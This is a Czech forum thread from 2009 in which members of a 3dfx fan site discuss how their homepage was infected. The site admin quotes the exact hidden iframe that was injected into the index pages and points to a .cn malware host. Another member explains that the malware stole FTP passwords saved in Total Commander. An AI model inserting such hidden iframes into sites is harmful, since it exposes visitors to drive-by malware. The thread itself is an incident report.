virus na hlavní stránce

Wolfik · Příspěvek od **Wolfik** » sob dub 18, 2009 2:08 pm

tak nevím jestli je chyba ve mně nebo máte problémy vy
každopádně jdu proskenovat PC
Obrázek

-HoNY- · Příspěvek od **-HoNY-** » sob dub 18, 2009 2:21 pm

Kaspersky mi hlásí jakýsi liteautogreatest.cn

Příspěvek od **no-X** » sob dub 18, 2009 2:33 pm

Koukám na to, několik html souborů bylo k dnešnímu datu v 7:45-7:47 změněno

Zkusím najít zálohu a přepsat je původními verzemi.

//ed: přepsáno v 14:35

//ed2: vypadá to, že se to stalo docela dost webům... hmm...

Bob van Sikorski · sob dub 18, 2009 2:47 pm

už jsem taky na nějaký web narazil, kde avast houkal ohledně jakéhosi zazipovaného iframe.

Příspěvek od **no-X** » sob dub 18, 2009 2:52 pm

Konkrétně bylo hned na začátek /body/ přidáno:

Kód: Vybrat vše

<iframe src="http://hotslotpot.cn/in.cgi?income66" width=1 height=1 style="visibility: hidden"></iframe>

A to u všech souborů, které mají v názvu "index" nebo "main". A to i takových, které byly přejmenované z důvodu zálohy (např. index_.html), takže nemohly být nalezeny přes nějaký link. Hmm...

Příspěvek od **Vykupitel** » pon dub 20, 2009 3:52 pm

Vyřešeno, ale všem co mají FTP přístup na 3dfx.cz a používají Total Commander, tak do verze 7.04 se používá slabé šifrování na FTP hesla a ten vir je ze souboru krade a pomocí nich se dál šíří. Prosím zkontrolujte i jiné weby co máte ve správě.

Wolfik · Příspěvek od **Wolfik** » pon dub 20, 2009 5:08 pm

a kde se to tam vzalo?

Příspěvek od **no-X** » pon dub 20, 2009 6:21 pm

Nejsem si jistý, jestli přenosem od někoho z lidí, co mají na ftp přístup. Protože ten a předchozí den to nakazilo hromadu webů po celé ČR. A v sobotu večer jsem postřehl, že všechny html soubory byly aktualizované, ale nebyl to vir, obsah zůstal nezměněný. Odhadoval bych to na čistku ze strany hostingu(?)

Rendax · Příspěvek od **Rendax** » pon dub 20, 2009 7:10 pm

Nebo to má na svědomí OBR či pán 28-mi centimetrů?

Příspěvek od **no-X** » pon dub 20, 2009 7:15 pm

ee, vkládá to odkaz na nějaký zavirovaný web v doméně .cn

socket · Příspěvek od **socket** » pon dub 20, 2009 8:03 pm

cize OBRov kamarat?

Příspěvek od **no-X** » pon dub 20, 2009 9:25 pm

Myslíš ukrajince, nebo ty nepřizpůsobivé spoluobčany, na kraji jejichž ghetta bydlí?

socket · Příspěvek od **socket** » pon dub 20, 2009 9:26 pm

OBR ma kamaraty vsade, ktori mu posielaju "virtualne" samply

Příspěvek od **no-X** » pon dub 20, 2009 9:29 pm

Jo ty myslíš tyhle... No to pak ještě nezapomínej na ty, které za něj dělají ty testy, pod které se podepisuje (a kteří se asi množí podélným dělením, protože jejich počet v poslední době nějak narostl)

-HoNY- · Příspěvek od **-HoNY-** » úte dub 21, 2009 7:23 pm

no-X píše:Jo ty myslíš tyhle... No to pak ještě nezapomínej na ty, které za něj dělají ty testy, pod které se podepisuje (a kteří se asi množí podélným dělením, protože jejich počet v poslední době nějak narostl)

Jirko! Zapomínáš na komplex méněcennosti

– i když má víc spolupracovníků, než je kvalitních redaktorů v České republice, pořád to bude málo.

Bob van Sikorski · stř dub 22, 2009 10:15 am

tady je pěkné shrnutí: http://svatas.blog.root.cz/2009/04/21/a ... pouzivate/

-HoNY- · Příspěvek od **-HoNY-** » čtv dub 23, 2009 10:41 am

Je toto výsledek opravy? Ještě včera mi to nedělalo.

Příspěvek od **no-X** » čtv dub 23, 2009 11:13 am

Neee, to je Rendaxovým avatarem. Má ho na ftpku pod heslem

Pošlu mu SZ, pokud neopraví, budu ho muset smazat...

wolf00 · Příspěvek od **wolf00** » čtv dub 23, 2009 1:13 pm

předpokládam že včera probíhala udržba fora,psalo mi to hlášku že se nejde napojit na databáze

socket · Příspěvek od **socket** » čtv dub 23, 2009 1:34 pm

nejdu menit avatary a to som si ho uz chcel dat

3DFX

virus na hlavní stránce

virus na hlavní stránce

RE